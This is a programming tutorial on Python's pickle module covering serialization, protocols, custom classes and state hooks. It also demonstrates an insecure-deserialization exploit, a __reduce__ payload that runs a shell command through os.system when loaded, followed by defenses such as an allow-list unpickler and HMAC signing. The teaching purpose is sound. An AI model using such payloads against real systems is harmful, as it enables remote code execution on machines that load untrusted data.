ZetCode

Python pickle

last modified November 17, 2026 Python 3.15

In this article we show how to serialize and deserialize Python objects with the pickle module.

Serialization is the process of converting an object in memory to a byte stream that can be stored on disk or sent over a network. Deserialization is the reverse process: it converts a byte stream back to an object. In Python, these processes are called pickling and unpickling; the terms marshalling and flattening are used as well.

The pickle module implements a binary format specific to Python. Unlike JSON, which handles only dictionaries, lists, strings, numbers, booleans, and None, pickle can serialize almost any Python object: tuples, sets, bytes, complex numbers, dates, instances of custom classes, and objects that reference each other. The downside is that the format is not readable by other languages and, more importantly, that loading a pickle can execute arbitrary code.

Warning: the pickle module is not secure. Never unpickle data that comes from an untrusted source or that was transmitted over an insecure network. Use JSON or another data-only format for such data.

The module has four main functions: dump and load work with files, dumps and loads with bytes objects.

Serializing to a file

The dump function writes the pickled representation of an object to a file opened in binary mode.

dump_data.py
import pickle

data = {
    'a': [1, 4.0, 3, 4+6j],
    'b': ('a red fox', b'and old falcon'),
    'c': {None, True, False},
}

with open('data.bin', 'wb') as f:
    pickle.dump(data, f)

We have a dictionary of different data types: a list with an integer, a float, and a complex number, a tuple of a string and bytes, and a set. The data is pickled into a binary file.

with open('data.bin', 'wb') as f:
    pickle.dump(data, f)

The file must be opened in the binary write mode, wb. The dump function takes an optional protocol argument; without it, the default protocol is used.

We run the script and look at the file with the hexdump tool. The file starts with the \x80 PROTO opcode followed by the protocol version 5. Strings such as a red fox are stored as they are; the complex number is stored as a call to builtins.complex with two floats.

$ python dump_data.py
$ hexdump -C data.bin
00000000  80 05 95 75 00 00 00 00  00 00 00 7d 94 28 8c 01  |...u.......}.(..|
00000010  61 94 5d 94 28 4b 01 47  40 10 00 00 00 00 00 00  |a.].(K.G@.......|
00000020  4b 03 8c 08 62 75 69 6c  74 69 6e 73 94 8c 07 63  |K...builtins...c|
00000030  6f 6d 70 6c 65 78 94 93  94 47 40 10 00 00 00 00  |omplex...G@.....|
00000040  00 00 47 40 18 00 00 00  00 00 00 86 94 52 94 65  |..G@.........R.e|
00000050  8c 01 62 94 8c 09 61 20  72 65 64 20 66 6f 78 94  |..b...a red fox.|
00000060  43 0e 61 6e 64 20 6f 6c  64 20 66 61 6c 63 6f 6e  |C.and old falcon|
00000070  94 86 94 8c 01 63 94 8f  94 28 4e 88 89 90 75 2e  |.....c...(N...u.|
00000080

Deserializing from a file

The load function reads the pickled representation of an object from a file and returns the reconstituted object.

load_data.py
import pickle

with open('data.bin', 'rb') as f:
    data = pickle.load(f)

print(data)
print(type(data['a'][3]))

The file is opened in the binary read mode, rb. We get back a dictionary equal to the original one; the complex number is again a complex object, not a string.

$ python load_data.py
{'a': [1, 4.0, 3, (4+6j)], 'b': ('a red fox', b'and old falcon'), 'c': {None, True, False}}
<class 'complex'>

The dumps and loads functions

The dumps function returns the pickled representation of an object as a bytes object, instead of writing it to a file. The loads function reconstructs the object from a bytes-like object. These functions are useful when we send data over a network, store it in a database, or put it in a cache.

dumps_loads.py
import pickle

data = [1, 2, 3, 4, 5]

dumped = pickle.dumps(data)
print(type(dumped))
print(dumped)

loaded = pickle.loads(dumped)
print(loaded)
print(loaded == data, loaded is data)

In the example, we serialize and deserialize a list of integers.

print(loaded == data, loaded is data)

Unpickling creates a new object. The loaded list is equal to the original, but it is a different object.

$ python dumps_loads.py
<class 'bytes'>
b'\x80\x05\x95\x0f\x00\x00\x00\x00\x00\x00\x00]\x94(K\x01K\x02K\x03K\x04K\x05e.'
[1, 2, 3, 4, 5]
True False

Pickle protocols

Over the time, several versions of the pickle format, called protocols, have been developed. Protocol 0 is the original human-readable format, protocols 1 and 2 are binary, protocol 3 added support for bytes, protocol 4 large objects and more kinds of objects, and protocol 5 out-of-band data buffers (PEP 574). Since Python 3.14, the default protocol is 5; earlier versions used 4. Newer protocols are more efficient, but older Python versions cannot read them.

protocols.py
import pickle

print(f'default protocol: {pickle.DEFAULT_PROTOCOL}')
print(f'highest protocol: {pickle.HIGHEST_PROTOCOL}')

data = {'words': ['sky', 'cloud', 'water'], 'vals': list(range(5))}

for proto in range(pickle.HIGHEST_PROTOCOL + 1):
    dumped = pickle.dumps(data, protocol=proto)
    print(proto, len(dumped))

print(pickle.dumps('sky', protocol=0))
print(pickle.dumps('sky', protocol=5))

We pickle the same dictionary with each protocol and print the size of the result.

dumped = pickle.dumps(data, protocol=proto)

The protocol argument selects the version. A negative value means HIGHEST_PROTOCOL.

print(pickle.dumps('sky', protocol=0))
print(pickle.dumps('sky', protocol=5))

Protocol 0 consists of printable ASCII characters; protocol 5 starts with the protocol and frame headers and stores the string length as a byte.

$ python protocols.py
default protocol: 5
highest protocol: 5
0 88
1 83
2 85
3 85
4 71
5 71
b'Vsky\np0\n.'
b'\x80\x05\x95\x07\x00\x00\x00\x00\x00\x00\x00\x8c\x03sky\x94.'

Pickling custom classes

Instances of custom classes can be pickled without any extra code. Pickle stores the instance's attributes and a reference to its class: the module name and the qualified class name. The class code itself is not stored, so the class must be importable when the data is loaded.

users.py
from dataclasses import dataclass, field
from datetime import date


@dataclass
class User:
    name: str
    occupation: str
    registered: date
    tags: list[str] = field(default_factory=list)

We define a User data class in its own module.

save_users.py
import pickle
from datetime import date

from users import User

users = [
    User('John Doe', 'gardener', date(2025, 3, 14), ['vip']),
    User('Roger Roe', 'driver', date(2026, 1, 2)),
    User('Lucy Smith', 'teacher', date(2026, 7, 21), ['new', 'trial']),
]

with open('users.bin', 'wb') as f:
    pickle.dump(users, f)

We create a list of users and pickle it into the users.bin file.

load_users.py
import pickle

with open('users.bin', 'rb') as f:
    users = pickle.load(f)

for user in users:
    print(user)

print(type(users[0]))

The loading script does not import the users module. Pickle finds the class by its stored name, users.User, and imports the module automatically.

$ python save_users.py
$ python load_users.py
User(name='John Doe', occupation='gardener', registered=datetime.date(2025, 3, 14), tags=['vip'])
User(name='Roger Roe', occupation='driver', registered=datetime.date(2026, 1, 2), tags=[])
User(name='Lucy Smith', occupation='teacher', registered=datetime.date(2026, 7, 21), tags=['new', 'trial'])
<class 'users.User'>

Classes defined in the main script

A common pitfall is pickling instances of a class defined in the script that we run. Such a class lives in the __main__ module, and the pickle refers to it as __main__.Point.

save_point.py
import pickle


class Point:
    def __init__(self, x, y):
        self.x = x
        self.y = y


with open('point.bin', 'wb') as f:
    pickle.dump(Point(3, 4), f)

The script pickles a Point instance; the class is defined in the script itself.

load_point.py
import pickle

with open('point.bin', 'rb') as f:
    try:
        point = pickle.load(f)
    except AttributeError as e:
        print(f'error: {e}')

When another script loads the file, its __main__ module has no Point class and unpickling fails with AttributeError. The solution is to put such classes into a module that both programs import, as we did with the users module.

$ python save_point.py
$ python load_point.py
error: module '__main__' has no attribute 'Point'

Objects that cannot be pickled

Some objects cannot be pickled. These include lambdas and other functions that cannot be found by name, generators, locks, open files, sockets, and database connections. Such objects are tied to the running process or to operating system resources.

unpicklable.py
import pickle
import threading

objects = {
    'lambda': lambda x: x * 2,
    'generator': (e for e in range(3)),
    'lock': threading.Lock(),
}

for name, obj in objects.items():
    try:
        pickle.dumps(obj)
    except (pickle.PicklingError, TypeError, AttributeError) as e:
        print(f'{name}: {type(e).__name__}: {e}')

config = {'name': 'app', 'log': open('app.log', 'w')}

try:
    pickle.dumps(config)
except TypeError as e:
    print(e)
    print(e.__notes__)

We try to pickle several objects and print the errors.

'lambda': lambda x: x * 2,

Functions are pickled by reference, as a module and a name. A lambda has no name under which it could be found, so pickling fails with PicklingError. Regular functions defined at the top level of a module can be pickled.

try:
    pickle.dumps(config)
except TypeError as e:
    print(e)
    print(e.__notes__)

Since Python 3.14, the errors carry notes that describe where in the object structure the problem occurred. Here the file object is the value of the log key.

$ python unpicklable.py
lambda: PicklingError: Can't pickle <function <lambda> at 0x7e3948c2b1c0>: it's not found as __main__.<lambda>
generator: TypeError: cannot pickle 'generator' object
lock: TypeError: cannot pickle '_thread.lock' object
cannot pickle 'TextIOWrapper' instances
["when serializing dict item 'log'"]

The __getstate__ and __setstate__ methods

The __getstate__ method is called upon pickling and returns the state to be stored; by default, it is the instance's __dict__. The __setstate__ method is called upon unpickling with the stored state. With these methods, we can leave out attributes that cannot be pickled and recreate them later.

words.txt
sky
cloud
water
forest
falcon
rock

This is the words.txt file.

state.py
import pickle


class LineReader:
    def __init__(self, path):
        self.path = path
        self.lineno = 0
        self.fh = open(path)

    def readline(self):
        self.lineno += 1
        return self.fh.readline().rstrip()

    def __getstate__(self):
        state = self.__dict__.copy()
        state['offset'] = self.fh.tell()
        del state['fh']
        print(f'getstate: {state}')
        return state

    def __setstate__(self, state):
        print(f'setstate: {state}')
        offset = state.pop('offset')
        self.__dict__.update(state)
        self.fh = open(self.path)
        self.fh.seek(offset)


reader = LineReader('words.txt')
print(reader.readline())
print(reader.readline())

saved = pickle.dumps(reader)
reader.fh.close()

restored = pickle.loads(saved)
print(restored.lineno, restored.readline())
print(restored.lineno, restored.readline())

The LineReader class reads a file line by line. Its open file handle cannot be pickled, so we store the file path and the current position instead and reopen the file when the object is unpickled.

def __getstate__(self):
    state = self.__dict__.copy()
    state['offset'] = self.fh.tell()
    del state['fh']
    return state

We copy the instance dictionary, so that the live object is not modified, add the current position in the file, and remove the file handle.

def __setstate__(self, state):
    offset = state.pop('offset')
    self.__dict__.update(state)
    self.fh = open(self.path)
    self.fh.seek(offset)

Upon unpickling, __init__ is not called. We restore the attributes, reopen the file, and move to the stored position. The restored reader continues with the third line.

$ python state.py
sky
cloud
getstate: {'path': 'words.txt', 'lineno': 2, 'offset': 10}
setstate: {'path': 'words.txt', 'lineno': 2, 'offset': 10}
2 water
3 forest

The __reduce__ method

The __reduce__ method gives full control over pickling. It returns a tuple of a callable and its arguments; upon unpickling, the callable is called with the arguments and the result becomes the unpickled object. The pickletools module can disassemble a pickle and show the opcodes it consists of.

reduce.py
import pickle
import pickletools


class Temperature:
    def __init__(self, celsius):
        if celsius < -273.15:
            raise ValueError('below absolute zero')
        self.celsius = celsius
        self.fahrenheit = celsius * 9 / 5 + 32

    def __reduce__(self):
        return (Temperature, (self.celsius,))

    def __repr__(self):
        return f'Temperature({self.celsius}, {self.fahrenheit:.1f} F)'


t = Temperature(21.5)
data = pickle.dumps(t)
print(pickle.loads(data))

pickletools.dis(pickletools.optimize(data))

The Temperature class validates its argument and computes the fahrenheit attribute in the constructor.

def __reduce__(self):
    return (Temperature, (self.celsius,))

Instead of storing both attributes, we store only the Celsius value. Upon unpickling, the constructor is called again, so the validation runs and the derived attribute is computed.

pickletools.dis(pickletools.optimize(data))

The optimize function removes unused MEMOIZE opcodes, and dis prints the disassembly. We can see the module and class names pushed on the stack, STACK_GLOBAL looking up the class, the float argument packed in a one-element tuple, and the REDUCE opcode, which calls the class with the tuple.

$ python reduce.py
Temperature(21.5, 70.7 F)
    0: \x80 PROTO      5
    2: \x95 FRAME      36
   11: \x8c SHORT_BINUNICODE '__main__'
   21: \x8c SHORT_BINUNICODE 'Temperature'
   34: \x93 STACK_GLOBAL
   35: G    BINFLOAT   21.5
   44: \x85 TUPLE1
   45: R    REDUCE
   46: .    STOP
highest protocol among opcodes = 4

Why pickle is insecure

The REDUCE opcode from the previous example can call any importable function, not only class constructors. An attacker can craft a pickle that calls os.system or subprocess.run and runs arbitrary commands on our machine.

exploit.py
import os
import pickle


class Exploit:
    def __reduce__(self):
        return (os.system, ('echo pwned; ls *.py | head -3',))


payload = pickle.dumps(Exploit())
print(payload)

with open('payload.bin', 'wb') as f:
    f.write(payload)

The Exploit class returns os.system and a shell command from __reduce__. The attacker pickles an instance and sends the payload to the victim. Note that os.system is stored as posix.system, the module where it is implemented on Linux.

victim.py
import pickle

with open('payload.bin', 'rb') as f:
    data = pickle.load(f)

print(f'loaded: {data}')

The victim only loads the data. The Exploit class is not needed on the victim's side; the payload refers only to os.system, which is always available. The command runs during pickle.load, and the loaded object is the exit status of the command.

$ python exploit.py
b'\x80\x05\x958\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1decho pwned; ls *.py | head -3\x94\x85\x94R\x94.'
$ python victim.py
pwned
dump_data.py
dumps_loads.py
exploit.py
loaded: 0

Restricting globals

If we need to load pickles from a source that is not fully trusted, we can subclass pickle.Unpickler and override its find_class method. The method is called for every global (class or function) the pickle refers to, so we can allow only a few safe classes. This reduces the risk, but data-only formats such as JSON remain a safer choice.

restricted.py
import io
import pickle
from datetime import date

ALLOWED = {
    ('builtins', 'set'),
    ('builtins', 'frozenset'),
    ('datetime', 'date'),
}


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if (module, name) in ALLOWED:
            return super().find_class(module, name)
        raise pickle.UnpicklingError(f'forbidden global: {module}.{name}')


def restricted_loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()


good = pickle.dumps({'ids': {3, 1, 2}, 'born': date(2001, 5, 12)})
print(restricted_loads(good))

with open('payload.bin', 'rb') as f:
    bad = f.read()

try:
    restricted_loads(bad)
except pickle.UnpicklingError as e:
    print(f'error: {e}')

The RestrictedUnpickler allows sets and dates and refuses everything else.

def find_class(self, module, name):
    if (module, name) in ALLOWED:
        return super().find_class(module, name)
    raise pickle.UnpicklingError(f'forbidden global: {module}.{name}')

For an allowed pair, we delegate to the default implementation, which imports the module and returns the attribute. Built-in types that have their own opcodes, such as dictionaries, lists, strings, and integers, do not go through find_class.

$ python restricted.py
{'ids': {1, 2, 3}, 'born': datetime.date(2001, 5, 12)}
error: forbidden global: posix.system

Signing pickled data

When we store pickles in a place where someone else could modify them, for instance in a cookie or a shared cache, we can sign them with a secret key. Before unpickling, we verify the signature with the hmac module and refuse data that was tampered with.

signed.py
import hashlib
import hmac
import pickle

KEY = b'a-secret-key-from-config'


def sign_dumps(obj):
    data = pickle.dumps(obj)
    digest = hmac.digest(KEY, data, hashlib.sha256)
    return digest + data


def verify_loads(blob):
    digest, data = blob[:32], blob[32:]
    expected = hmac.digest(KEY, data, hashlib.sha256)
    if not hmac.compare_digest(digest, expected):
        raise ValueError('signature mismatch, refusing to unpickle')
    return pickle.loads(data)


blob = sign_dumps({'name': 'john', 'role': 'guest'})
print(verify_loads(blob))

tampered = blob.replace(b'guest', b'admin')
try:
    verify_loads(tampered)
except ValueError as e:
    print(f'error: {e}')

The signed blob consists of a 32-byte HMAC-SHA256 digest followed by the pickled data.

if not hmac.compare_digest(digest, expected):
    raise ValueError('signature mismatch, refusing to unpickle')
return pickle.loads(data)

The compare_digest function compares the digests in constant time, which prevents timing attacks. Only data with a valid signature is passed to pickle.loads.

tampered = blob.replace(b'guest', b'admin')

We simulate an attacker who changes the role of the user. The digest no longer matches and the data is rejected.

$ python signed.py
{'name': 'john', 'role': 'guest'}
error: signature mismatch, refusing to unpickle

The pickle command line interface

The pickle module can be run as a script; it loads the given files and pretty-prints their content. The pickletools module has a similar interface which prints the disassembly. Since the command unpickles the data, it must be used only with trusted files.

$ python -m pickle data.bin
{'a': [1, 4.0, 3, (4+6j)],
 'b': ('a red fox', b'and old falcon'),
 'c': {None, True, False}}
$ python -m pickle users.bin
[User(name='John Doe',
      occupation='gardener',
      registered=datetime.date(2025, 3, 14),
      tags=['vip']),
 User(name='Roger Roe',
      occupation='driver',
      registered=datetime.date(2026, 1, 2),
      tags=[]),
 User(name='Lucy Smith',
      occupation='teacher',
      registered=datetime.date(2026, 7, 21),
      tags=['new', 'trial'])]

Source

pickle — Python object serialization

pickletools — Tools for pickle developers

PEP 574 – Pickle protocol 5 with out-of-band data

In this article we have serialized and deserialized Python objects with the pickle module. See also Python dataclass, Python hashing, and Python base64.

Author

I am Jan Bodnar, a programmer and technical writer. I have been writing programming tutorials at ZetCode since 2007 and have published eight e-books. See about the author.

List all Python tutorials.